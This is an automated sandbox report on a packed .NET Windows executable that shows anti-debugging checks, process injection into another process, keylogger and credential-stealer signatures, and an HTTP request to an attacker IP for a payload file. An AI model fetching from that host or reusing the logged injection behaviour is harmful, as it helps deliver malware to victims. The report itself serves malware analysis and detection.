Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 6, 2025, 10:14 p.m.	May 6, 2025, 10:23 p.m.

Size	69.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`0e683d747ba5599763d9440a89402a8b`
SHA256	`7a5c58f1ff5085c30b779e8b712af0b2b4cf8028a36412a167234a408eeeea3b`
CRC32	`351C95F0`
ssdeep	`1536:P694P5EekiJMXQoPtEHOlcD98T/iJilOKZoQq:P694K+Mgn+3biJilOKZoQq`
PDB Path	XZCCWW.pdb
Yara	PE_Header_Zero - PE File Signature Malicious_Packer_Zero - Malicious Packer Is_DotNET_EXE - (no description) ConfuserEx_Zero - Confuser .NET IsPE32 - (no description)

XZCCWW.exe "C:\Users\test22\AppData\Local\Temp\XZCCWW.exe"
2536
cmd.exe cmd /c ""C:\Users\test22\AppData\Roaming\restart.bat" "
2080
- chcp.com chcp 65001
  1356
- RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2808

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
176.65.144.23	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 176.65.144.23:80 -> 192.168.56.101:49161	2400029	ET DROP Spamhaus DROP Listed Traffic Inbound group 30	Misc Attack

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 6, 2025, 10:14 p.m.			0	0
IsDebuggerPresent May 6, 2025, 10:14 p.m.			0	0
IsDebuggerPresent May 6, 2025, 10:15 p.m.			0	0
IsDebuggerPresent May 6, 2025, 10:15 p.m.			0	0

Command line console output was observed (18 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 6, 2025, 10:15 p.m.	buffer: DONT CLOSE THIS WINDOW! console_handle: 0x00000007	1	1
WriteConsoleW May 6, 2025, 10:15 p.m.	buffer: The batch file cannot be found. console_handle: 0x0000000b	1	1
WriteConsoleW May 6, 2025, 10:15 p.m.	buffer: Active code page: 65001 console_handle: 0x00000013	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: Microsoft .NET Framework Assembly Registration Utility version 4.0.30319.17929 for Microsoft .NET Framework version 4.0.30319.17929 Copyright (C) Microsoft Corporation. All rights reserved. console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: Syntax: RegAsm AssemblyName [Options] Options: console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /unregister Unregister types console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /tlb[:FileName] Export the assembly to the specified type library console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: and register it console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /regfile[:FileName] Generate a reg file with the specified name console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: instead of registering the types. This option console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: cannot be used with the /u or /tlb options console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /codebase Set the code base in the registry console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /registered Only refer to already registered type libraries console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /asmpath:Directory Look for assembly references here console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /nologo Prevents RegAsm from displaying logo console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /silent Silent mode. Prevents displaying of success messages console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /verbose Displays extra information console_handle: 0x00000007	1	1
WriteConsoleA May 6, 2025, 10:15 p.m.	buffer: /? or /help Display this usage message console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

XZCCWW.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 6, 2025, 10:14 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (2 events)

section	tSaVv9tF
section

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://176.65.144.23/HOST/blueoneeee.txt

Performs some HTTP requests (1 event)

request

GET http://176.65.144.23/HOST/blueoneeee.txt

Allocates read-write-execute memory (usually to unpack itself) (50 out of 51 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00780000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b80000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00781000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 24576 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01322000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00782000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00783000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00784000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00785000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00786000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00787000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00788000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00789000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0078a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0078b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0078c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2536 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0078d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x741c2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00810000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72de2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x736bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c2a000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 6, 2025, 10:15 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 6, 2025, 10:14 p.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00005e00', u'virtual_address': u'0x00002000', u'entropy': 7.993250027757132, u'name': u'tSaVv9tF', u'virtual_size': u'0x00005c50'}

entropy

7.99325002776

description

A section with a high entropy has been found

entropy

0.345588235294

description

Overall entropy of this PE file is high

Yara rule detected in process memory (22 events)

description	Take ScreenShot	rule	ScreenShot
description	task schedule	rule	schtasks_Zero
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Communications use DNS	rule	Network_DNS
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Run a KeyLogger	rule	KeyLogger
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	ping -n 10 localhost
cmdline	chcp 65001

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 8fe99eb4876c9a364463d8ceef593fe6688c78b0

Communicates with host for which no DNS query was performed (1 event)

host

176.65.144.23

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2764 region_size: 3432448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation May 6, 2025, 10:14 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

XZCCWW.exe tried to sleep 5456340 seconds, actually delayed analysis time by 5456340 seconds

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2536 manipulating memory of non-child process 2764
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2764 region_size: 3432448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0	0

Potential code injection by writing to the memory of another process (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2536 injected into non-child 2764
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¤1hàä34 @ `4@Ð4K 4¾ @4 H.text$ã3 ä3 `.rsrc¾ 4æ3@@.reloc@4ò3@B base_address: 0x00400000 process_identifier: 2764 process_handle: 0x0000027c	1	1	0
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: 8Ph 4¼#44VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°\|StringFileInfoX000004b0Comments"CompanyNameFFileDescriptionBlueOne Client,FileVersion1.0.06InternalNameClient.exePLegalCopyrightCopyright © Java 2025LegalTrademarks>OriginalFilenameClient.exe0ProductNameBlueOne0ProductVersion1.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="utf-8"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <application> <!-- Windows Vista --> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows 7 --> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 8 --> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8.1 --> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 10 --> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> </application> </compatibility> <application xmlns="urn:schemas-microsoft-com:asm.v3"> <windowsSettings> <dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true/pm</dpiAware> <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness> <longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware> </windowsSettings> </application> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly> base_address: 0x00742000 process_identifier: 2764 process_handle: 0x0000027c	1	1	0
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: 4 3 base_address: 0x00744000 process_identifier: 2764 process_handle: 0x0000027c	1	1	0
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2764 process_handle: 0x0000027c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2536 injected into non-child 2764
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¤1hàä34 @ `4@Ð4K 4¾ @4 H.text$ã3 ä3 `.rsrc¾ 4æ3@@.reloc@4ò3@B base_address: 0x00400000 process_identifier: 2764 process_handle: 0x0000027c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2536 called NtSetContextThread to modify thread in remote process 2764
NtSetContextThread May 6, 2025, 10:14 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 7602974 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000254 process_identifier: 2764	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2536 resumed a thread in remote process 2764
Process injection	Process 2080 resumed a thread in remote process 2808
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2764	1	0	0
NtResumeThread May 6, 2025, 10:15 p.m.	thread_handle: 0x00000084 suspend_count: 0 process_identifier: 2808	1	0	0

Executed a process and injected code into it, probably while unpacking (37 events)

Time & API	Arguments	Status	Return
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000204 suspend_count: 1 process_identifier: 2536	1	0
NtGetContextThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000000e4	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000218 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000003bc suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000003f0 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000428 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x0000043c suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x0000045c suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000470 suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x0000048c suspend_count: 1 process_identifier: 2536	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x000004a0 suspend_count: 1 process_identifier: 2536	1	0
NtGetContextThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000470	1	0
